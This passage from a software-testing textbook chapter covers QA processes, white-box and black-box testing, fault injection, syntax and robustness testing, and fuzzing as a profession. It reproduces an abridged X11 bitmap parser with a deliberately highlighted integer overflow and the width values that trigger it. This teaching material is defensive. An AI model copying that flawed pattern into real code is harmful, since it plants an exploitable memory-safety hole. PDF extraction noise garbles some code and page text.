the testing side of things in the SDLC. Analyzing the software development from sim- ple models is useful no matter what software development process is used. The same functional methods and tools are used in all software development including agile methods and spiral software development processes. The traditional V-model is a very simplified graphical view of typical software development practices. It maps the traditional waterfall development model into various steps of testing. Note that we are not promoting the V-model over any other software development model. You should not use the V-model in your real-life soft- ware development without careful consideration. Let’s analyze the steps in typical V-model system development, shown in Figure 3.1. The phases on the left-hand side are very similar to the overly simplified school- book waterfall model of software development. It goes through the different steps, from gathering requirements to the various steps of design and finally to the pro- gramming phase. To us, the goal of the V-model is to enforce natural system bound- aries at various steps and to enforce test-driven development at different levels of integration. The requirements step results in creation of the acceptance criteria used in acceptance testing. The first set of specifications describes the system at a high level and sets the functional criteria for system testing. Architectural design makes decisions on high-level integration of components that will be used to test against in integration testing. Finally, detailed design defines the most detailed testable units and the test criteria of unit testing. The V-model does not consider the different 78 Quality Assurance and Testing Figure 3.1 V-model for the system development life cycle. purposes of testing; it only looks at the different levels of integration. There are many specifics missing from the V-model when viewed from the security testing perspective. Nevertheless, it is a good starting point when used in black-box testing processes. 3.3.2 Testing on the Developer’s Desktop Another set of quality assurance practices takes place even before we enter the test- ing phase inside a typical waterfall model of software development. A majority of bugs are caught in the programming phase. All the tools in the developer’s desktop are tuned to catch human errors made during the programming and building phases. When code is submitted to building, it typically goes through rigorous code auditing. This can be either manual or automated. Also, manual programmers use fuzzing as part of unit testing. 3.3.3 Testing the Design Software inspections and peer reviews are static analysis approaches to assessing various attributes in software development documentation and code. Verification of the design phase requires a formal review and complex automation tools. The formal methods employed can include mathematical proofs of encryption algo- rithms and analyses of the message flows used. For example, when a new protocol specification is being designed, the dynamic operation of the protocol message exchange needs to be carefully analyzed from the security perspective. State machines in complex interfaces can also act as a source of information for black-box testing. Test automation can help in trying out a complex state machine to ensure that there are no deadlocks or unhandled exceptional situations.4 3.4 Main Categories of Testing Software quality assurance techniques such as testing can be based on either static analysis or dynamic analysis. Static analysis is off-line analysis that is done to the source code without any requirement to run the code. Dynamic analysis is a run- time method that is performed while the software is executing. A good test process can combine both of these approaches. For example, code optimization tools can augment the code when the code is executed with information that can later be used in a static analysis. There are many different ways that the methods of testing can be partitioned. 3.4.1 Validation Testing Versus Defect Testing Sommerville5 (2004) divides testing into validation testing and defect testing. The purpose of validation testing is to show that the software functions according to 3.4 Main Categories of Testing 79 4An example of test automation framework that generates test cases from a state chart is the Con- formiq Test Generator. www.conformiq.com/ 5Ian Sommerville. Software Engineering, 8th ed. New York: Addison Wesley, 2006. user requirements. On the other hand, defect testing intends to uncover flaws in the software rather than simulate its operational use. Defect testing aims at finding inconsistencies between the system and its specification. 3.4.2 Structural Versus Functional Testing Another division of testing is based on access to the source code. These two cate- gories are structural testing and functional testing. Structural testing, or white-box testing, uses access to the source code to reveal flaws in the software. Structural testing techniques can also be used to test the object code. Structural testing can be based on either static or dynamic analysis, or their combination. The focus is on covering the internals of the product in detail. Various source code coverage techniques are used to analyze the depth of structural testing. One example of white-box testing is called unit testing, which concentrates on testing each of the functions as you see them in the code. Functional testing, or black-box testing, tests the software through external interfaces. Functional testing is always dynamic and is designed on the basis of var- ious specification documents produced in different phases of the software develop- ment process. A functional tester does not necessarily need to know the internals of the software. Access to the code is unnecessary, although it can be helpful in design- ing the tests. Finally, gray-box testing is a combination of both the white-box and black-box approaches, and it uses the internals of the software to assist in the design of the tests of the external interfaces. 3.5 White-Box Testing White-box testing has the benefit of having access to the code. In principle, the only method of reaching 100% coverage (of some sort) in testing is with white-box tech- niques. Different white-box testing techniques can be used to catch suspicious code during the programming phase and also while the code is being executed. We will next look at some relevant aspects of white-box testing techniques. 3.5.1 Making the Code Readable A prerequisite for catching problems is to make the code more readable and thereby easier to understand and debug. Good programming practices and coding conven- tions can help in standardizing the code, and they will also help in implementing various automated tools in the validation process. An example of such quality im- provements is compile-time checks, which will detect use of insecure function calls and structures. 3.5.2 Inspections and Reviews Static analysis methods, such as various types of inspections and reviews, are widely used, and they are critical to the development of good-quality software. Inspections can focus on software development documents or the actual code. A requirement for 80 Quality Assurance and Testing successful inspections and reviews is agreeing on a policy on how the code should be implemented. Several industry standards from bodies like IEEE have defined guide- lines on how and where inspections and reviews should be implemented. 3.5.3 Code Auditing The simplest form of white-box testing is code auditing. Some people are more skilled at noticing flaws in code, including security mistakes, than others. From the security perspective, the most simple code auditing tools systematically search the code look- ing for vulnerable functions, such as sprintf(), strcpy(), gets(), memcpy(), scanf(), sys- tem(), and popen(), because they are often responsible for overflow problems. Such a simplistic approach will necessarily reveal many false positives because these func- tions can be used safely. More complex auditing tools analyze the entire program’s structure, have models that represent common programming errors, and compare the structure of the program to these models. Such tools will greatly reduce the number of false positives as instead of just reporting the use of ‘strcpy,’ it analyzes whether the input has been limited to it. A code review can take place either off-line or during compilation. Some static analysis tools check the compiled result of the code, analyzing weaknesses in the assembly code generated during compilation of the software module. Compilers themselves are also integrated with various quality-aware functionalities, issuing warnings when something suspicious is seen in the code or in an intermediate repre- sentation. As mentioned above, the most common problem encountered with code auditing tools is the number of false-positive issues, which are security warnings that do not pose a security risk. Another problem with all code-auditing practices is that they can only find problems they are taught to find. For example, the exploitable secu- rity flaw in the following code snippet from an X11 bitmap-handling routine might easily be missed by even the most skilled code auditing people and tools: 01 / *Copyright 1987, 1998 The Open Group – Shortened for presentation! 02 * Code to read bitmaps from disk files. Interprets 03 * data from X10 and X11 bitmap files and creates 04 * Pixmap representations of files. 05 * Modified for speedup by Jim Becker, changed image 06 * data parsing logic (removed some fscanf()s). Aug 5, 1988 */ 07 08 int XReadBitmapFileData (_Xconst char *filename, 09 unsigned int *width, / *RETURNED */ 10 unsigned int *height, / *RETURNED */ 11 unsigned char **data, / *RETURNED */ 12 int *x_hot, / *RETURNED */ 13 int *y_hot) / *RETURNED */ 14 15 unsigned char *bits = NULL; / *working variable */ 16 int size; / *number of data bytes */ 17 int padding; / *to handle alignment */ 3.5 White-Box Testing 81 18 int bytes_per_line; / *per scanline of data */ 19 unsigned int ww = 0; / *width */ 20 unsigned int hh = 0; / *height */ 21 22 while (fgets(line, MAX_SIZE, file)) { 23 if (strlen(line) == MAX_SIZE-1) { 24 RETURN (BitmapFileInvalid); 25 } 26 if (sscanf(line,"#define %s %d",name_and_type,&value) == 2) { 27 if (!(type = strrchr(name_and_type, '_'))) 28 type = name_and_type; 29 else 30 type++; 31 32 if (!strcmp("width", type)) 33 ww = (unsigned int) value; 34 if (!strcmp("height", type)) 35 hh = (unsigned int) value; 36 continue; 37 } 38 39 if (sscanf(line, "static short %s = {", name_and_type) == 1) 40 version10p = 1; 41 else if (sscanf(line,"static unsigned char %s = {",name_and_type) == 1) 42 version10p = 0; 43 else if (sscanf(line, "static char %s = {", name_and_type) == 1) 44 version10p = 0; 45 else 46 continue; 47 48 if (!(type = strrchr(name_and_type, ‘_’))) 49 type = name_and_type; 50 else 51 type++; 52 53 if (strcmp("bits[]", type)) 54 continue; 55 56 if (!ww __ !hh) 57 RETURN (BitmapFileInvalid); 58 59 if ((ww % 16) && ((ww % 16) < 9) && version10p) 60 padding = 1; 61 else 62 padding = 0; 63 82 Quality Assurance and Testing 64 bytes_per_line = (ww+7)/8 + padding; 65 66 size = bytes_per_line * hh; 67 bits = (unsigned char *) Xmalloc ((unsigned int) size); 68 if (!bits) 69 RETURN (BitmapNoMemory); n /* ... */ n+1 *data = bits; n+2 *width = ww; n+3 *height = hh; n+4 n+5 return (BitmapSuccess); n+6 } The simple integer overflow flaw in this example is on line 64: bytes_per_line = (ww+7)/8 + padding; This integer overflow bug does not have an adverse effect on the library routine itself. However, when returned dimensions of width and height do not agree with actual data available, this may cause havoc among downstream consumers of data provided by the library. This indeed took place in most popular web browsers on the market and was demonstrated with PROTOS file fuzzers in July 2002 to be exploitable beyond “denial of service.”6 Full control over the victim’s browser was gained over a remote connection. The enabling factor for full exploitability was conversion of library routine provided image data from row-first format into column-first format. When width of the image (ww) is in the range of (MAX_UINT- 6). .MAX_UINT, i.e., 4294967289 . . . 4294967295 on 32-bit platforms, the cal- culation overflows back into a small integer. This example is modified from X11 and X10 Bitmap handling routines that were written as part of the X Windowing System library in 1987 and 1988, over 20 years ago. Since then, this image format has refused to go away, and code to handle it is widely deployed in open source software and even on proprietary commercial plat- forms. Most implementations have directly adopted the original implementation, and the code has been read, reviewed, and integrated by thousands of skilled program- mers. Very persistently, this flaw keeps reappearing in modern software. 3.6 Black-Box Testing Testing will always be the main software verification and validation technique, although static analysis methods are useful for improving the overall quality of doc- umentation and source code. When testing a live system or its prototype, real data is sent to the target and the responses are compared with various test criteria to assess the test verdict. In black-box testing, access to the source code is not necessary, 3.6 Black-Box Testing 83 6The PROTOS file fuzzers are one of the many tools that were never released by University of Oulu, but the same functionality was included in the Codenomicon Images suite of fuzzing tools, released in early 2003. although it will help in improving the tests. Black-box testing is sometimes referred to as functional testing, but for the scope of this book this definition can be misleading. Black-box testing can test more than just the functionality of the software. 3.6.1 Software Interfaces In black-box testing, the system under test is tested through its interfaces. Black-box testing is built on the expected (or nonexpected) responses to a set of inputs fed to the software through selected interfaces. As mentioned in Chapter 1, the interfaces to a system can consist of, for example, • User interfaces: GUI, command line; • Network protocols; • Data structures such as files; • System APIs such as system calls and device drivers. These interfaces can be further broken down into actual protocols or data structures. 3.6.2 Test Targets Black-box testing can have different targets. The various names of test targets in- clude, for example, • Implementation under test (IUT); • System under test (SUT); • Device under test (DUT). The test target can also be a subset of a system, such as: • Function or class; • Software module or component; • Client or server implementation; • Protocol stack or parser; • Hardware such as network interface card (NIC); • Operating system. The target of testing can vary depending on the phase in the software develop- ment life cycle. In the earlier phases, the tests can be first targeted to smaller units such as parsers and modules, whereas in later phases the target can be a complete network-enabled server farm augmented with other infrastructure components. 3.6.3 Fuzz Testing as a Profession We have had discussions with various fuzzing specialists with both QA and VA background, and this section is based on the analysis of those interviews. We will look at the various tasks from the perspectives of both security and testing profes- sions. Let’s start with security. Typically, fuzzing first belongs to the security team. At a software development organization, the name of this team can be, for example, Product Security Team (PST 84 Quality Assurance and Testing for short). Risk assessment is one of the tools in deciding where to fuzz and what to fuzz, or if to fuzz at all. Security teams are often very small and very rarely have any budget for tool purchases. They depend on the funding from product development organizations. Although fuzzing has been known in QA for decades, the push to introduce it into development has almost always come from the security team, per- haps inspired by the increasing security alerts in its own products or perhaps by new knowledge from books like this. Initially, most security organizations depend on con- sultative fuzzing, but very fast most interviewed security experts claimed that they have turned almost completely toward in-house fuzzing. The primary reason usually is that buying fuzzing from consultative sources almost always results in unmain- tained proprietary fuzzers and enormous bills for services that seem to be repeating themselves each time. Most security people will happily promote fuzzing tools into the development organization, but many of them want to maintain control on the chosen tools and veto right on consultative services bought by the development groups. This brings us to taking a closer look at the testing organization. The example testing organization we will explore here is divided into three seg- ments. One-fourth of the people are focused on tools and techniques, which we will call T&T. And one-fourth is focused on quality assurance processes, which we will call QAP. The remaining 50% of testers work for various projects in the prod- uct lines, with varying size teams depending on the project sizes. These will be referred to as product line testing (PLT) in this text. The test specialists from the tools and techniques (T&T) division each have focus on one or more specific testing domains. For example, one dedicated team can be responsible for performance testing and another on the automated regression runs. One of the teams is responsible for fuzz testing and in supporting the projects with their fuzzing needs. The same people who are responsible for fuzzing can also take care of the white-box security tools. The test specialist can also be a person in the security auditing team outside the traditional QA organization. But before any fuzzing tools are integrated into the quality assurance processes, the requirement needs to come from product management, and the integration of the new technique has to happen in cooperation with the QAP people. The first position in the QA process often is not the most optimal one, and therefore the QAP people need to closely monitor and improve the tactics in testing. The relationship with secu- rity auditors is also a very important task to the QAP people, as every single auditing or certification process will immediately become very expensive unless the flaw cate- gories discovered in third-party auditing are already sought after in the QA process. The main responsibility for fuzzing is on each individual project manager from PLT who is responsible for both involving fuzzing into his or her project, and in reporting the fuzzing results to the customer. PLT is almost always also responsible for the budget and will need to authorize all product purchases. When a new fuzzing tool is being introduced to the organization, the main responsibility for tool selection should still be on the shoulders of the lead test special- ist responsible for fuzzing. If the tool is the first in some category of test automation, a new person is appointed as the specialist. Without this type of assignment, the purchases of fuzzing tools will go astray very fast, with the decisions being made not on the actual quality and efficiency of the tools but on some other criteria such as vendor relations or marketing gimmicks. And this is not beneficial to the testing 3.6 Black-Box Testing 85 organization. Whereas it does not matter much which performance testing suite is used, fuzzing tools are very different from their efficiency perspective. A bad fuzzer is simply just money and time thrown away. Let’s next review some job descriptions in testing: • QA Leader: Works for PLT in individual QA projects and selects the used processes and tools based on company policies and guidelines. The QA leader does the test planning, resourcing, staffing, and budget and is typically also responsible for the QA continuity, including transition of test plans between various versions and releases. One goal can include integration of test automation and review of the best practices between QA teams. • QA Technical Leader: Works for T&T-related tasks. He or she is responsible for researching new tools and best practices of test automation, and doing tool recommendations. That can include test product comparisons either with third parties or together with customers. The QA technical leader can also be responsible for building in-house tools and test script that pilot or enable inte- gration of innovative new ideas and assisting the PLT teams in understanding the test technologies, including training the testers in the tools. The QA tech- nical leader can assist QA leader in performing ROI analysis of new tools and techniques and help with test automation integration either directly or through guidelines and step-by-step instructions. He or she can either per- form the risk assessments with the product-related QA teams, or can recom- mend outsourced contractors that can perform those. • Test Automation Engineer: Builds the test automation harnesses, which can involve setting up the test tools, building scripts for nightly and weekly tests, and keeping the regression tests up-to-date. In some complex environments, the setting up of the target system can be assigned to the actual developers or to the IT staff. The test automation engineer will see that automated test exe- cutions are progressing as planned, and that the failures are handled and that the test execution does not stop for any reason. All monitors and instruments are also critical in those tasks. • Test Engineer/Designer: These are sometimes also called manual testers, although that is becoming more rare. The job of a test engineer can vary from building test cases for use in conformance and performance testing to select- ing the “templates” that are used in fuzzing, if a large number of templates is required. Sometimes when manual tasks are required, the test engineer/designer babysits the test execution to see that it progresses as planned—for example, by pressing a key every hour. Most test automation tools are designed to eliminate manual testing. 3.7 Purposes of Black-Box Testing Black-box testing can have the following general purposes: • Feature or conformance testing; • Interoperability testing; 86 Quality Assurance and Testing • Performance testing; • Robustness testing. We will next examine each of these in more detail. 3.7.1 Conformance Testing The first category of black-box testing is feature testing or conformance testing. The earliest description of the software being produced is typically contained in the requirements specification. The requirements specification of a specific software project can also be linked to third-party specifications, such as interface definitions and other industry standards. In quality assurance processes, the people responsi- ble for validation evaluate the resulting software product against these specifica- tions and standards. Such a process aims at validating the conformity of the product against the specifications. In this book we use the term conformance testing for all testing that validates features or functional requirements, no matter when or where that testing actually takes place. 3.7.2 Interoperability Testing The second testing category is interoperability testing. Interoperability is basically a subset of conformance testing. Interoperability testing is a practical task in which the final product or its prototype is tried against other industry products. In real life, true conformance is very difficult if not impossible to reach. But, the product must at least be able to communicate with a large number of devices or systems. This type of testing can take place at various interoperability events, where soft- ware developers fight it out, in a friendly manner, to see who has the most confor- mant product. In some cases, if a dominant player decides to do it his or her own way, a method that complies with standards may not necessarily be the “correct” method. An industry standard can be defined by an industry forum or by an indus- try player who controls a major share of the industry. For example, if your web application does not work on the most widely used web browser, even if it is com- pletely standards compliant, you will probably end up fixing the application instead of the browser vendor fixing the client software. 3.7.3 Performance Testing The third type of testing, performance testing, comes from real-use scenarios of the software. When the software works according to the feature set and with other ven- dors’ products, testers need to assess if the software is efficient enough in real-life use scenarios. There are different categories of tests for this purpose, including stress testing, performance testing, and load testing. In this book we use the term performance testing for all of these types of tests, whether they test strain conditions in the host itself or through a load over communication interfaces, and even if the test is done by profiling the efficiency of the application itself. All these tests aim at making the software perform “fast enough.” The metric for final performance can be given as the number of requests or sessions per given time, the number of paral- lel users that can be served, or a number of other metrics. There are many types of 3.7 Purposes of Black-Box Testing 87 throughput metrics that are relevant to some applications but not to others. Note that many performance metrics are often confused with quality-of-service metrics. Quality of service is, for the most part, a subset of performance, or at least it can be fixed by improving performance. Attacks that aim for denial of service are also typically exploiting performance issues in software. 3.7.4 Robustness Testing The fourth black-box testing category is negative testing, or robustness testing. This is often the most important category from the security perspective. In negative test- ing, the software is tortured with semi-valid requests, and the reliability of the software is assessed. The sources of negative tests can come from the systems spec- ifications, such as • Requirement specifications: These are typically presented as “shall not” and “must not” requirements. • System specifications: Physical byte boundaries, memory size, and other resource limits. • Design specifications: Illegal state transitions and optional features. • Interface specifications: Boundary values and blacklisted characters. • Programming limitations: Programming language specific limits. 3.8 Testing Metrics There is no single metric for black-box testing, but instead various metrics are needed with different testing approaches. At least three different levels of metrics are easily recognized: • Specification coverage; • Input space coverage; • Attack surface coverage. We will next give a brief overview of these, although they are explained in more detail in Chapter 4. 3.8.1 Specification Coverage Specification coverage applies to all types of black-box testing. Tests can only be as good as the specification they are built from. For example, in Voice over IP (VoIP) testing, a testing tool has to cover about 10 different protocols with somewhere from one to 30 industry standard specifications for each protocol. A tool that covers only one specification has smaller test coverage than a tool that covers all of them. All tests have a specification, whether it is a text document, a machine-understandable interface model, or a capture of a test session that is then repeated and modified. 88 Quality Assurance and Testing 3.8.2 Input Space Coverage Each interface specification defines a range of inputs that can be given to the soft- ware. This is sometimes represented in BNF form at the end of RFC documents. Let’s illustrate this with a fictitious example of an interface that consists of two val- ues: an eight-character string as a user name and a four-digit pin code. Trying one predefined user name with a small sample of pin codes achieves less input space coverage than trying all ten thousand pin codes for the same user name. 3.8.3 Interface Coverage Software has different communication interfaces, and different pieces of code are touched through each one. Testing just one interface can give you less test coverage in the target system than testing two interfaces. 3.8.4 Code Coverage Different code coverage metrics are available for different purposes. But, be careful when using them, as code coverage metrics do not necessarily indicate anything about the quality of the tests to the end customer. In some cases, a test with smaller code coverage can find more flaws than a test with large code coverage. Code cov- erage can also be impossible for the customer to validate. 3.9 Black-Box Testing Techniques for Security Before turning our attention away from a QA focus in fuzzing, we want to summa- rize the various tools and techniques used in various types of security testing. Many of these have very little relevance to fuzzing, but might help you resolve some mis- conceptions other people have about security testing. 3.9.1 Load Testing The easiest and best-known attack to QA people are various DoS (Denial of Ser- vice) situations. The majority of DoS attacks are based on load. In load testing, the performance limitations of the system are tested with fast repetition of a test case and by running several tests in parallel. This is relevant to fuzzing because these tests can be fuzz tests. When a fuzz test is repeated very fast, it can discover problems that are missed by slowly executing fuzzing tools. One example of such a test is related to testing for memory leaks or performance problems. If a test case indicates that there could be some problems, the test case can be extracted and loaded into a per- formance test tool through the record-and-playback functionality most of these tools possess. Another benefit from load testing comes when testing proxy compo- nents such as gateways and firewalls. When a load-generation tool is used in paral- lel with fuzzing tools, the load-testing tool will help measure the change in the load tolerance of the system. Fuzz tests under a load can also result in different test 3.9 Black-Box Testing Techniques for Security 89 results. All these results are very feasible in a live server, which almost always will be under a normal system load when an attack arrives. 3.9.2 Stress Testing A stress test will change the operational environment for the SUT by restricting access to required resources. Examples of changes include • Size and speed of available memory; • Size and speed of available disk; • The number of processors available and the processing speed of the processors; • Environmental variables. Most often stress tests are executed in a test automation framework that will enable you to run the SUT inside a controlled environment such as a sandbox or software development simulation. 3.9.3 Security Scanners Using security scanners in software development is common, but this is mostly because of a misunderstanding of a customer requirement. If a customer requires that a software developer will run Nessus, for example, against their product, it will naturally become part of the software development practice. The pros and cons of this approach were explained in Chapter 2. 3.9.4 Unit Testing In unit testing, the SUT is a module used inside the actual application. The real application logic can be bypassed by implementing parts of the functionality in pro- totypes when the real implementation is still unavailable or by other replacement implementations when the target is actually a library such as a file parser or a codec. For example, when testing HTML parsers, you do not necessarily want to run the tests against the full web browser, but you can use the same HTML parsing API calls through a test driver. In such a setup, a ten or hundred-fold increase in the speed of the fuzzing process is easily obtained. 3.9.5 Fault Injection Traditionally, the term fault injection has meant a hardware testing technique in which artificial faults are introduced into printed circuit boards. For example, the connections might be short-circuited, broken, grounded, or stuck to a predefined value such as “0” or “1.” The printed board is then used and the resulting behav- ior observed. The purpose is to test the sensitiveness of the hardware for faults (fault tolerance) emerging during manufacturing or product lifetime. Fault injection can be used to forecast the behavior of hardware during operations or to guide efforts on making the hardware more robust against flaws. Software fault injection has the same operation principle. There are two main types of fault injection: 90 Quality Assurance and Testing • Data fault injection. • Code fault injection. In short, faults are injected by mutating code or data to assess the response of a software component for anomalous situations. In code fault injection (also called mutation testing) the source code is modified to trigger failures in the target sys- tem. Source code fault injection is best performed automatically, as an efficient fault injection process can involve hundreds of modifications, each requiring a rebuild of the target system. The following two examples include fault injection at source code level. Example 1: char *buffer; /* buffer =(char*)malloc(BUFFER_LENGTH); */ buffer =NULL; Example 2: int divider; /* divider =a *b +d /max +hi; */ divider =0; Structural fault injection (source code mutations) can be used for simulating various situations that are difficult to test otherwise except by modifying the oper- ating environment: • Memory allocation failures. • Broken connections. • Disk-full situations. • Delays. Data fault injection, on the other hand, is just another name for fuzzing and consists of injecting faults into data as it is passed between various components. 3.9.6 Syntax Testing I do not know which was first, syntax testing or fuzzing, and I do not know if that is even an important question. Testing gurus such as Boris Beizer created syntax testing, and security experts such as Dr. B.P. Miller stumbled upon fuzzing. Both of them were published around the same time and were most probably created to solve the same problem. Let’s start by quoting the beginning of the chapter on syntax testing by Dr. Boris Beizer from 1990:7 Systems that interface with the public must be especially robust and consequently must have prolific input-validation checks. It’s not that the users of automatic teller machines, say, are willfully hostile, but that there are so many of them—so many 3.9 Black-Box Testing Techniques for Security 91 7Chapter 9, section 2.2 unmodified and in its entirety, from Boris Beizer. (1990) Software Test- ing Techniques, 2nd ed, International Thomson Computer Press. Quoted with permission. of them and so few of us. It’s the million monkey phenomenon: A million monkeys sit at a million typewriters for a million years and eventually one of them will type Hamlet. The more users, the less they know, the likelier that eventually, on pure chance, someone will hit every spot at which the system’s vulnerable to bad inputs. There are malicious users in every population—infuriating people who delight in doing strange things to our systems. Years ago they’d pound the sides of vend- ing machines for free sodas. Their sons and daughters invented the “blue box” for getting free telephone calls. Now they’re tired of probing the nuances of their video games and they’re out to attack computers. They’re out to get you. Some of them are programmers. They’re persistent and systematic. A few hours of attack by one of them is worse than years of ordinary use and bugs found by chance. And there are so many of them: so many of them and so few of us. Then there’s crime. It’s estimated that computer criminals (using mostly hokey inputs) are raking in hundreds of millions of dollars annually. A criminal can do it with a laptop computer from a telephone booth in Arkansas. Every piece of bad data accepted by a system—every crash-causing input sequence—is a chink in the system’s armor that smart criminals can use to penetrate, corrupt, and eventually suborn the system for their own purposes. And don’t think the system’s too com- plicated for them. They have your listings, and your documentation, and the data dictionary, and whatever else they need. There aren’t many of them, but they’re smart, motivated, and possibly organized. The purpose of syntax testing is to verify that the system does some form of input validation on the critical interfaces. Every communication interface presents an opportunity for malicious use, but also for data corruption. Good software developers will build systems that will accept or tolerate any data whether it is non- conformant to the interface specification or just garbage. Good testers, on the other hand, will subject the systems to the most creative garbage possible. Syntax testing is not random, but instead it will automate the smart fuzzing process by describing the operation, structure, and semantics of an interface. The inputs, whether they are internal or external, can be described with context-free languages such as Backus-Naur Form (BNF). BNF is an example of a data description language that can be parsed by an automated test generation framework to create both valid and invalid inputs to the interface. The key topic in syntax testing is the description of the syntax. Every input has a syntax, whether it is formally described or undocumented, or “just understood.” We will next explain one notation called BNF with examples. One of the most sim- ple network protocols is TFTP. And an overly simplified description of TFTP using BNF would be as follows: <RRQ> ::= (0x00 0x01) <FILE-NAME> <MODE> <WRQ> ::= (0x00 0x02) <FILE-NAME> <MODE> <MODE> ::= ("octet" | "netascii") 0x00 <FILE-NAME> ::= { <CHARACTER> } 0x00 <CHARACTER> ::= 0x01 -0x7f From the above example we can see that there are two types of messages defined, a “read request” <RRQ> and a “write request” <WRQ>. A header of two 92 Quality Assurance and Testing octets defines the choice of the message type: (0x00 0x01) versus (0x00 0x02). Both messages contain two strings: a file name <FILE-NAME> and a transfer mode <MODE>. The file name can consist of variable length text string built from char- acters. The transfer mode can be a zero-terminated text string of two predefined values. The “|” character defines an OR operand, which means only one of the val- ues is allowed. Pretty simple, right. The strategy in syntax test design is to add one anomaly (or error) at a time while keeping all other components of the input structure or message correct. With a complex interface, this alone typically creates tens of thousands of dirty tests. When double errors and triple errors are added, the amount of test cases increases exponentially. Several different kinds of anomalies (or errors) can be produced in syntax testing: • Syntax errors: Syntax errors violate the grammar of the underlying language. Syntax errors can exist on different levels in the grammar hierarchy: top-level, intermediate-level, and field-level. Simplest field-level syntax errors consist of arbitrary data and random values. Intermediary and top-level syntax errors are omitting required elements, repeating, reordering, and nesting any ele- ments or element substructures. • Delimiter errors: Delimiters mark the separation of fields in a sentence. In ASCII-coded languages the fields are normally characters and letters, and delimiters are white-space characters (space, tab, line-feed, etc.), other delim- iter characters (commas, semicolons, etc.), or their combinations. Delimiters can be omitted, repeated, multiplied, or replaced by other unusual characters. Paired delimiters, such as braces, can be left unbalanced. Wrong unexpected delimiters can be added at places where they might not be expected. • Field-value errors: A field-value error is an illegal field in a sentence. Nor- mally, a field value has a range or many disjoint ranges of allowable values. Field-value errors can test for boundary-value errors with both numeric and non-numeric elements. Values exactly at the boundary range or near the boundary range should also be checked. Field errors can include values that are one-below, one-above and totally out-of-range. Tests for fields with inte- ger values should include boundary values. Use of powers of two plus minus one as boundary values is encouraged since such a binary system is the typi- cal native presentation of integers in computers. • Context-dependent errors: A context-dependent error violates some property of a sentence that cannot, in practice, be described by context-free grammar. • State dependency error: Not all sentences are acceptable in every possible state of a software component. A state dependency error is, for example, a correct sentence during an incorrect state. Note that some people have later used the term syntax testing for auditing of test specifications. The purpose of such a test is to verify that the syntax in test def- initions in correct. We will ignore this definition for syntax testing in this book and propose that you do the same. 3.9 Black-Box Testing Techniques for Security 93 3.9.7 Negative Testing Negative testing comes in many forms. The most common type of negative testing is defining negative tests as use cases—for example, if a feature implements an authenti- cation functionality, a positive test would consist of trying the valid user name and valid password. Everything else is negative testing, including wrong user name, wrong password, someone else’s password, and so on. Instead of explaining the various forms of manual tactics for negative testing, we will focus on explaining the auto- mated means of conducting negative testing. Kaksonen coined the name “robustness testing” for this type of test automation in his licentiate thesis published in 2001.8 The purpose of robustness testing is only to try negative tests and not to care about the responses from the SUT at all. Robustness testing is a model-based neg- ative testing approach that generates test cases or test sequences based on a machine-understandable description of a use case (the model) or a template. The model consists of protocol building blocks such as messages and sequences of mes- sages, with various dynamic operations implemented with intelligent tags. Each message consists of a set of protocol fields, elements that have a defined syntax (form) and semantics (meaning) defined in a protocol specification. The following enumerates the various levels of models and contents in the model: • A message structure consists of a set of protocol fields. • A message is a context in which its structure is evaluated. • A dialog is a sequence of messages. • A protocol is a set of dialogs. As said earlier, robustness testing is an automated means of conducting nega- tive testing using syntax testing techniques. Robustness testing consists of the fol- lowing steps, which are very similar to the steps in syntax testing:9 1. Identify the interface language. 2. Define the syntax in formal language, if not readily available in the proto- col specification. Use context-free languages such as regular expressions, BNF, or TTCN. This is the protocol of the interface. 3. Create a model by augmenting the protocol with semantics such as dynam- ically changing values. As an example, you can define an element that describes a length field inside the message. This is the model of the protocol. 4. Validate that the syntax (the protocol and the resulting model) is complete (enough), consistent (enough), and satisfies the intended semantics. This is often done with manual review. Risk assessment is useful when syntax test- ing has security auditing purpose to prioritize over a wide range of ele- ments, messages, and dialogs of messages. 94 Quality Assurance and Testing 8Rauli Kaksonen. (2001). A Functional Method for Assessing Protocol Implementation Security (Licentiate thesis). Espoo. Technical Research Centre of Finland, VTT Publications 447. 128 p. + app. 15 p. ISBN 951-38-5873-1 (soft back ed.) ISBN 951-38-5874-X (on-line ed.). 9J. Röning, M. Laakso, A. Takanen, & R. Kaksonen. (2002). PROTOS—Systematic Approach to Eliminate Software Vulnerabilities. Invited presentation at Microsoft Research, Seattle, WA. May 6, 2002. 5. Test the syntax with valid values to verify that you will implement at least the necessary use cases with the model. At this point you should be able to “run” the model using test automation frameworks. The model does not need to be complete for the testing purposes. If the purpose is to do clean testing, you can stop here. 6. Syntax testing is best suited for dirty testing. For that, you need to identify elements in the protocol and in the model that need dirty testing. Good choices are strings, numbers, substructures, loops, and so on. 7. Select input libraries for the above elements. Most data fields and struc- tures can be tested with predefined libraries of inputs and anomalies, and those are readily available. 8. Automate test generation and generate test cases. The test cases can be fully resolved, static binaries. But in most cases the test cases will still need to maintain the dynamic operations unevaluated. 9. Automate test execution. Automation of static test cases is often simple, but you need to have scripts or active code involved if the test dialog requires dynamically changing data. 10. Analyze the results. Defining the pass/fail criteria is the most critical deci- sion to make, and the most challenging. The greatest difference from fuzzing is that robustness testing almost never has any randomness involved. The tests are created by systematically applying a known set of destructive or anomalous data into the model. The resulting tests are often built into a test tool consisting of a test driver, test data, test documentation, and necessary interfaces to the test bed, such as monitoring tools and test controllers. The robustness tests can also be released as a test suite, consisting of binary test cases, or their descriptions for use with other test automation frameworks and lan- guages such as TTCN. Prebuilt robustness tests are always repeatable and can be automated in a fashion in which human involvement is minimal. This is suitable for use in regression testing, for example. 3.9.8 Regression Testing Testing does not end with the release of the software. Corrections and updates are required after the software has been launched, and all new versions and patches need to be verified so that they do not introduce new flaws, or reintroduce old ones. Post-release testing is also known as regression testing. Regression testing needs to be very automated and fast. The tests also need to be very stable and configurable. A minor update to the communication interface can end up invalidating all regres- sion tests if the tests are very difficult to modify. Regression testing is the obvious place for recognizing the “pesticide para- dox.”10 The pesticide paradox is a result of two different laws that apply to soft- ware testing: 3.9 Black-Box Testing Techniques for Security 95 10Boris Beizer. (1990). Software Testing Techniques, 2nd ed, International Thomson Computer Press. 1. Every testing method you use in software development, or every test case you implement into your regression testing, will leave a residue of subtler bugs against which those methods and test are ineffectual. You have to be prepared to always integrate new techniques and tests into your processes. 2. Software complexity (and therefore the complexity of bugs) grows to the limits of our ability to manage that complexity. By eliminating “easy” bugs, you will allow the complexity of the software to increase to a level where the more subtle bugs become more numerous, and therefore more significant. The more you test the software, the more immune it becomes to your test cases. The remedy is to continually write new and different tests to exercise different parts of the software. Whenever a new flaw is found, it is important to analyze that individual bug and see if there is a more systematic approach to catching that and similar mistakes. A common misunderstanding in integrating fuzzing related regres- sion flaws is to incorporate one single test into the regression test database, when a more robust solution would be 